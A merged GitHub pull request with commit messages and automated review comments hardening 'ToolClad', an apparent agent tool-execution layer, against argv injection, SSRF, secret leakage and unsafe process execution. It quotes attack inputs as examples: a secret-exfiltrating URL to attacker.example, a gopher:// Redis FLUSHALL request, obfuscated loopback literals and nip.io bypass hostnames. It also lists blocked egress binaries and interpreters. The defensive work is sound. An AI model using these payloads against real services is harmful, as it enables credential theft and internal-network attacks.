Repository navigation
Enforce manifest and execution security contracts across runtimes - #9
Merged
Merged
Conversation
…nifest lint Extends the scope_target hardening across the egress surface: - url validator: apply scope_target's host hygiene to curl/wget-style fetchers (the prime SSRF vector) — canonical-IP-only host, reject obfuscated IP-literal hosts (0x7f000001 / 2130706433), reject punycode hosts, and apply the egress IP policy to literal-IP hosts. - always-block link-local / cloud metadata (169.254.0.0/16, fe80::/10, incl. v4-mapped) for scope_target AND url, regardless of block_internal — IMDS credential theft has maximal blast radius and ~zero legitimate egress use. - manifest lint: a manifest whose command invokes a known egress binary (curl/wget/nmap/nc/...) must set block_internal on its scope_target/url args, or it is refused at load — turns a silent unsafe default into a CI failure. - set block_internal=true on the nmap_scan and curl_fetch examples (+ the nmap test fixture) to satisfy the new lint. Shared enforce_ip_policy()/always_blocked_ip_reason() helpers. +4 tests (metadata-always, url hardening, egress lint pass/fail); 91 pass, clippy clean.
The template form substituted agent-supplied values into a string and then
re-split it, so any value containing an unquoted space or a quote that closed
a template-level quote became extra argv entries of the agent's choosing. The
string/url validators admitted exactly those characters, which made the shipped
curl_fetch and nmap_scan manifests arbitrary option injection in all four
runtimes.
The trusted template is now tokenized at load, before any value exists; each
placeholder resolves to exactly one argv entry and the result is never
re-split. A placeholder inside quotes is a load error, {{ and }} are escapes
for literal braces, and an unresolved placeholder is an error instead of a
literal token. exec is the canonical internal form; template compiles to it
with a deprecation warning.
String-derived types now reject NUL, control characters, quotes, backslashes,
whitespace and a leading -/+, with per-argument allow_whitespace (exec form
only) and allow_leading_dash opt-ins, and [command] end_of_options = "--".
Patterns are anchored, so pattern = "[a-z]+" no longer matches abc123.
Also fixes the drift the same code path carried: the exec array was unusable
in Go, conditionals were never evaluated in Go, the executor-injected variables
were missing in Go, JavaScript exposed conditionals as _cond_<name> so every
conditional was empty, and the mapping variable had four different spellings.
Mappings are now _<arg>_flags only and conditionals _<cond>; an unmapped value
is an error and an enum mapping must cover every allowed value.
Examples converted to the array form, with nmap_scan's free-form extra_flags
removed and curl_fetch's header conditional taken out of quotes.
All four parsers silently ignored keys they did not recognize. A typo such as tiemout_seconds fell back to the 60-second default, and block_internal was accepted and discarded by Go, JavaScript and Python — which is how the shipped examples came to declare an SSRF defense that three of the four runtimes never applied. A control that degrades to "off" is worse than one that refuses to load, because the manifest still reads as if it is enforced. Every section now rejects keys outside an explicit allowlist, reporting all of them in one sorted message. validate --allow-unknown-keys downgrades the error to a warning for authoring; library loading is always strict. Registers the keys the later fixes need, with inert defaults: tool.mode, tool.network_egress, tool.allow_interpreter, [tool.limits], tool.evidence.screenshots, args.block_internal (which Go had no field for at all), output.max_bytes, [session.child_detection], [browser.defaults]. Also refuses an undeclared argument name at call time rather than dropping it, so a caller cannot believe it passed something that never reached the command. Go cannot use toml.MetaData.Undecoded() for this: in BurntSushi/toml v1.4.0, Key.add aliases its backing array for three-segment table headers, so sibling keys under [command.conditionals.<n>] overwrite each other in Keys() and whenn is never reported. Go walks the parsed document against the struct tags by reflection instead, which also gives exact-case matching rather than EqualFold.
…-4, TC-6, TC-7)
The url type diverged four ways. JavaScript ran new URL() and nothing else,
so javascript:, file:, any scheme and a ';id' metacharacter all passed. Go and
Python accepted any scheme whenever a manifest omitted schemes, which let
gopher://127.0.0.1:6379/_FLUSHALL through to curl. Rust hardcoded https?://
and never read schemes at all, so schemes = ["https"] still accepted http://.
Every runtime now parses the value structurally: scheme allowlist defaulting
to http and https, a fixed denylist (javascript, data, file, blob, about,
gopher, dict, ftp, ldap, jar, netdoc, mailto, ws, wss) refused even when a
manifest lists one, userinfo refused, host extracted before the first /, ?
or #, an optional port range-checked, and the host put through the same
policy as scope_target.
That policy existed only in Rust. Go, JavaScript and Python parsed no
block_internal at all, so the shipped curl_fetch and nmap_scan manifests had
no SSRF defense in three of four runtimes. Each runtime now has one policy
module with the same range table: link-local (which contains the cloud
metadata endpoint) always blocked; loopback, private, CGNAT, unspecified,
broadcast, documentation, benchmarking and reserved space blocked under
block_internal; IPv4-mapped IPv6 unwrapped first. Non-canonical literals
(2130706433, 0x7f000001, 0177.0.0.1, 127.1) are refused rather than passed
on to a resolver.
JavaScript expanded {_secret:name} after argument interpolation in the HTTP
backend, so a url argument of https://attacker.example/?k={_secret:api_key}
exfiltrated the secret. Secrets are now expanded on the manifest template
before any argument is interpolated, in all four runtimes.
…TC-5, TC-15) block_internal was a check on how an address was spelled. localhost, 127.0.0.1.nip.io and any attacker-controlled domain passed as hostnames, and a CIDR was judged by its base address alone, so 8.0.0.0/5 — public base, containing all of 10/8 — passed under a manifest that declared the policy. All four runtimes now: - refuse the internal-name set unconditionally (localhost and the .localhost, .local, .internal, .home.arpa, .lan, .intranet, .corp and .private suffixes, plus metadata.google.internal); - treat an IP literal embedded in a hostname (127.0.0.1.nip.io, 10-0-0-1.nip.io) as that address and apply the range policy to it; - test a CIDR for overlap with every blocked range, IPv4 and IPv6, and accept canonical IPv6 CIDRs; - under block_internal, resolve a hostname and apply the policy to every answer, refusing when resolution fails. JavaScript has no synchronous resolver, so its sync validator refuses a name under block_internal and a new validateArgAsync performs the lookup. The egress lint existed only in Rust, keyed on a binary-name list that a string-typed target or an executor script bypassed. Egress is now also a declared property (tool.network_egress), [http] and [browser] manifests are egress manifests, every scope_target, url, ip_address and cidr argument — including those under [session.commands] and [browser.commands] — must set block_internal, and a custom type based on a network type is refused because it cannot carry the policy.
scope_check was parsed and never read in all four runtimes, scope_target only asserted that a value was shaped like a host, and tests/scope_vectors.json — which the spec calls normative — was executed by no test anywhere. The manifests and README described an allowlist that did not exist. scope/scope.toml is now loaded (TOOLCLAD_SCOPE_FILE, else searched upward from the manifest's directory) and scope_check is enforced on scope_target, url (the host), ip_address and cidr, on every backend. Blocked rules win, *.example.com matches strict subdomains only, a CIDR argument must be fully contained in an allowed range and must not overlap a blocked one, and the check is fail-closed: no reachable scope file refuses the call. All four suites now execute tests/scope_vectors.json from the file. Python's HTTP and MCP paths, which interpolated or forwarded unvalidated argument values, now validate every argument like the oneshot path, and Python's MCP path refuses undeclared names like the other runtimes. Validator drift: JavaScript accepted "" and "0x10" as integers, Python accepted "1_000" and " 7 " and a duration with a trailing newline, Rust rejected "True" as a boolean, and Rust and JavaScript missed a bare ".." path component. Numeric, duration and boolean parsing is now strict and identical, ".." is refused per component, and per-argument defaults are validated at load so a manifest bug fails loudly instead of being substituted unchecked.
cargo audit reported five advisories and one unsoundness warning, all transitive through reqwest: rustls 0.23.37 (RUSTSEC-2026-0285), rustls-webpki 0.103.10 (RUSTSEC-2026-0098, -0099, -0104), h2 0.4.13 (RUSTSEC-2026-0258) and anyhow 1.0.102 (RUSTSEC-2026-0190). Updated to rustls 0.23.45, rustls-webpki 0.103.15, h2 0.4.20 and anyhow 1.0.104; cargo audit is clean. go.mod declared go 1.21 with no toolchain directive, so builds used whatever toolchain the host had. govulncheck on go1.26.0 reported 26 reachable standard-library advisories, including GO-2026-4601 (net/url IPv6 host literals, reached from the url validator). Pinned toolchain go1.26.9; govulncheck reports none.
…19, TC-21)
Environment (TC-8): every tool inherited the runtime's whole environment,
including TOOLCLAD_SECRET_*, cloud credentials, LD_PRELOAD and PATH; combined
with any option injection a single curl manifest could POST it all to an
attacker. The child environment is now cleared and rebuilt from an allowlist
with a fixed PATH, TOOLCLAD_SECRET_* is filtered out on every path (executor
hatch included), and secrets may come from TOOLCLAD_SECRETS_FILE, refused when
group- or world-readable. argv[0] is resolved to an absolute path against the
fixed PATH, must match tool.binary's basename, and an interpreter (sh, bash,
python, node, env, ...) as argv[0] or as the executor is refused unless
allow_interpreter = true (TC-21).
stdin is /dev/null in every runtime (Rust and Python inherited it, TC-18).
Each run gets a 0700 scratch cwd; Rust and Python set umask 0077 and rlimits
(core 0, fsize, nofile; nproc, address space and CPU when declared in
[tool.limits]) in the pre-exec hook. RLIMIT_NPROC is opt-in because Linux
counts it against every task the user owns, so a fixed default stops threaded
tools on a busy host. Go and Node cannot set child rlimits portably; the gap
is documented in code.
Evidence (TC-19): scan ids carry 128 bits of entropy, the evidence root and
output directory are created 0700 (Rust never created the directory it put in
{_output_file}; JavaScript hardcoded /tmp), symlinked directories are refused,
and files the runtime writes are opened O_EXCL|O_NOFOLLOW mode 0600. The
_output_file path is now the same shape in every runtime and honors
[tool.evidence] output_dir.
Timeouts (TC-11): Go waited on the output pipe, so a tool that left a
background child holding stdout hung forever; JavaScript sent SIGTERM to a
spawnSync child and blocked on one that ignored it; Rust treated
timeout_seconds = 0 as no timeout. Every runtime now sends SIGTERM to the
process group, waits TOOLCLAD_KILL_GRACE_MS (default 2000), then SIGKILLs the
group, bounds the wait independently of the pipes (Go cmd.Cancel and
WaitDelay, async spawn in JavaScript), keeps partial output in a "timeout"
envelope, and refuses timeout_seconds = 0 at load. JavaScript's execute() is
now async; executeSync throws a message saying so.
… (TC-9, TC-12, TC-14, TC-16)
Gate (TC-9): risk_tier, human_approval and [tool.cedar] were parsed and
printed and nothing else; toolclad run executed a human_approval = true
manifest unconditionally and library callers got fail-open behavior. Every
runtime now consults a caller-supplied gate after validation and before any
spawn, request or envelope. The default gate denies human_approval = true and
risk_tier high/critical; execute keeps its signature with that default,
execute_with_gate / ExecuteWithGate / gate= / { gate } take a custom one, and
the CLIs gain run --approve. Dry runs are not gated. Cedar evaluation stays
external and is documented as the embedder's job.
Output (TC-12, TC-14): stdout was captured without bound in Rust, Go and
Python, Python expanded entities in tool-produced XML, and output-schema
validation was absent (Rust, Go, JavaScript) or silently skipped when an
undeclared optional dependency was missing (Python). [output] max_bytes
(default 8 MiB) now caps stdout and stderr with output_truncated in the
envelope, XML with a DOCTYPE or ENTITY declaration is refused, each runtime
bundles a dependency-free JSON-Schema subset validator, and a parse or schema
failure yields a parse_error / schema_error envelope instead of an unchecked
pass-through. Results are normalized to an object so one schema works across
runtimes. Custom parsers, which were silently ignored, are refused at load.
HTTP (TC-16, design issue 9): values were interpolated raw into the URL, Go
did not JSON-escape the body, redirects were followed without re-checking,
JavaScript put headers and the URL on the curl argv, and the envelope command
carried expanded secrets. Values are now percent-encoded by position, a
placeholder in the scheme or host is a load error, CR/LF in a header is
refused, Go escapes the body, redirects are not followed (redirect_blocked),
JavaScript uses fetch instead of curl, and the envelope command holds the
declared, unexpanded command on every backend so injected paths and secrets
never reach the agent. The dry run still shows the resolved argv.
…fuzzers (TC-23)
examples/nikto_scan.clad.toml uses custom types from the project
toolclad.toml, but no CLI loaded that file: Rust refused the manifest and Go,
JavaScript and Python failed at run time. All four now discover toolclad.toml
(TOOLCLAD_CONFIG_FILE, else searched upward from the manifest), refuse
unknown keys in it, refuse a custom type whose base is not built in or whose
name shadows a built-in type, check every argument type at load (including
session and browser command arguments), and validate custom-typed values on
every backend. With the types in hand the custom-type egress refusal is now
reachable from the CLI. All five shipped examples load in all four CLIs, and
each suite dry-runs them.
Version strings agree with the package metadata: the JavaScript CLI read
0.1.0 and Python's __version__ read 0.6.1 against 0.6.2.
tests/injection_vectors.json holds 98 vectors (86 argument, 12 manifest)
built from every payload in the review: the curl quote breakout and url space
injection, nmap -iL and --script, leading dashes, {_secret:} smuggling,
javascript:/file:/gopher: schemes, localhost, nip.io and dashed-quad
hostnames, 8.0.0.0/5, obfuscated IP literals, control bytes, NUL, overlong
hosts and labels, unknown keys, interpreters as argv[0]. Every runtime's suite
executes the whole file and all 98 pass in all four.
Fuzz targets: cargo-fuzz (validate_arg, parse_manifest) plus a deterministic
property test in the main suite, Go native FuzzValidateArg/FuzzLoadManifest,
fast-check in JavaScript and hypothesis in Python. The property is that the
validator never fails with an unexpected error type and never returns a value
with whitespace, a quote, a control character or a leading dash without the
matching opt-in. The JavaScript fuzzer found a TypeError on a prototype-less
object and silent stringification of arrays and objects; non-scalar values are
now refused.
Also: Rust schema-checks successful HTTP bodies like the other runtimes, the
MCP envelope command reads mcp://<server>/<tool> everywhere, and two broken
intra-doc links in rust/src/types.rs are fixed.
The Python package had no lockfile and click/tomli were unpinned, and no audit tool ran anywhere. python/requirements-dev.lock pins the runtime and dev dependencies with hashes (pip-audit: no known vulnerabilities), and a CI workflow runs each runtime's suite plus cargo audit, govulncheck, npm audit and pip-audit on every push, pull request and weekly, so a new advisory against a pinned dependency fails the build.
…n/browser rules
The spec documented the unsafe order — interpolate, then split into argv with
shlex — that was the root of TC-1, and promised controls that no runtime
implemented. It now specifies:
- tokenize-then-substitute as the only legal construction order, with
placeholders as whole unquoted tokens, {{ }} escapes, end_of_options, and
template deprecated in favor of exec;
- argument hygiene for string-derived types and anchored patterns;
- the single url validator and egress safety (always-blocked link-local,
block_internal ranges, internal names, embedded IP literals, CIDR overlap,
DNS resolution, network_egress);
- refusal of unknown manifest keys;
- fail-closed scope enforcement and output-schema validation, output caps,
and the refusal of custom parsers;
- the policy gate seam (Cedar evaluation is external) and the process
environment;
- the SIGTERM, grace, SIGKILL timeout sequence and refusal of a zero timeout;
- design issue 9: the envelope reports the declared command, so the agent
never sees expanded secrets or injected paths.
For session and browser mode, which no reference runtime executes, a new
normative section S1-S7 requires control-character rejection with exactly one
executor-appended line terminator, sentinel-anchored ready_pattern matching,
selectors passed as CDP arguments rather than concatenated into JavaScript,
no execute_js by default, URL scope over every navigation surface (subframes,
fetch/XHR/WebSocket, popups, dangerous schemes, DNS rebinding, downloads,
file inputs, clipboard, CDP endpoint auth), and no child-session registration
from tool output. The example manifests drop extra_flags and execute_js and
tighten the selector grammar.
…s (TC-22) README.md and AGENTS.md presented session, browser and MCP-proxy execution as shipped backends; the reference runtimes parse and validate those manifests but do not execute them, and the docs now say so everywhere. Also corrected: - scope enforcement (README, docs/security-model.md) described as an allowlist that did not exist; it now documents scope/scope.toml, discovery, wildcard and containment rules, and fail-closed behavior; - docs/type-system.md claimed url must be http/https and rejects javascript:; that was true only in Rust. It now documents the shared validator and the block_internal host policy; - docs/command-construction.md claimed a SIGTERM grace period no runtime had; it now documents the implemented sequence and the exec-first model; - docs/output-evidence.md described mandatory schema validation that was skipped or absent; it now documents the fail-closed validator, output caps, and the refusal of custom parsers; - the type count (15, not 14), version strings, new manifest keys, the --approve and --allow-unknown-keys flags, the environment variables, and the API entry points (gate seam, validate_arg_mode, async JS execute). Adds CHANGELOG.md with an Unreleased section listing every security fix by review finding.
Codex Review SummaryThis comment shows the latest Codex review activity on this pull request.
ℹ️ About Codex in GitHubYour team has set up Codex to review pull requests in this repo. Reviews are triggered when you
Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings. |
![chatgpt-codex-connector[bot]](https://avatars.githubusercontent.com/in/1144995?s=60&v=4){kind=small}
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: dee5c9a638
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| status_code = resp.status | ||
| resp_body = resp.read().decode("utf-8", errors="replace") | ||
| resp_body, truncated = _read_capped(resp, max_bytes) |
There was a problem hiding this comment.
After the HTTP response is capped here, every successful response is returned later as {"raw_output": resp_body} without calling _apply_output. Consequently, a Python HTTP manifest declaring builtin:json and an [output.schema] can return malformed or schema-invalid data with status = "success", unlike the other runtimes. Route successful bodies through _apply_output before returning the envelope.
AGENTS.md reference: AGENTS.md:L30-L31
Useful? React with 👍 / 👎.
Comment on lines
+1584
to
+1588
| proc = _run_process( | ||
| args_list, | ||
| shell=False, | ||
| stdout=subprocess.PIPE, | ||
| stderr=subprocess.PIPE, | ||
| text=True, | ||
| preexec_fn=os.setpgrp, | ||
| env=child_env(), | ||
| cwd=work_dir, | ||
| timeout=effective_timeout, |
There was a problem hiding this comment.
Running the child in the new empty scratch directory changes the meaning of every relative argv path without rewriting it. For example, a credential_file = "creds.txt" is validated with os.path.exists in the caller's directory, but the command then looks for it under this evidence work directory and fails; relative exec[0] and command.executor paths also fail in the Python, Go, and Rust spawn paths. Resolve such paths before changing directories, copy approved inputs into the scratch directory, or retain the original working directory.
Useful? React with 👍 / 👎.
Comment on lines
+160
to
+164
| os.makedirs(path, mode=0o700, exist_ok=True) | ||
| st = os.stat(path) | ||
| if hasattr(os, "getuid") and st.st_uid != os.getuid(): | ||
| raise RuntimeError(f"refusing evidence directory '{path}': not owned by the current user") | ||
| os.chmod(path, 0o700) |
There was a problem hiding this comment.
On a multi-user host, another user can pre-create the predictable /tmp/toolclad-evidence path as a symlink to a directory owned by the ToolClad user. Both os.makedirs(..., exist_ok=True) and os.stat follow that link, so the ownership check succeeds against the target and os.chmod mutates the attacker-selected victim directory despite the function claiming to refuse planted symlinks. Use lstat/O_NOFOLLOW and require the leaf itself to be a directory before creating or chmodding anything beneath it.
Useful? React with 👍 / 👎.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
ToolClad now rejects unknown manifest fields and ambiguous command templates, validates network destinations consistently, enforces configured scope and deny-by-default approval gates, and bounds process execution and output. Rust, Go, JavaScript, and Python consume shared injection/scope vectors and updated example manifests.
The branch includes the existing URL/egress hardening from #8, dependency audit gates, property/fuzz coverage, and updated specification and migration documentation. Session and browser execution limits are documented explicitly.
Validation: All four language CI jobs passed, including their dependency audit steps. No package release or tag is part of this PR.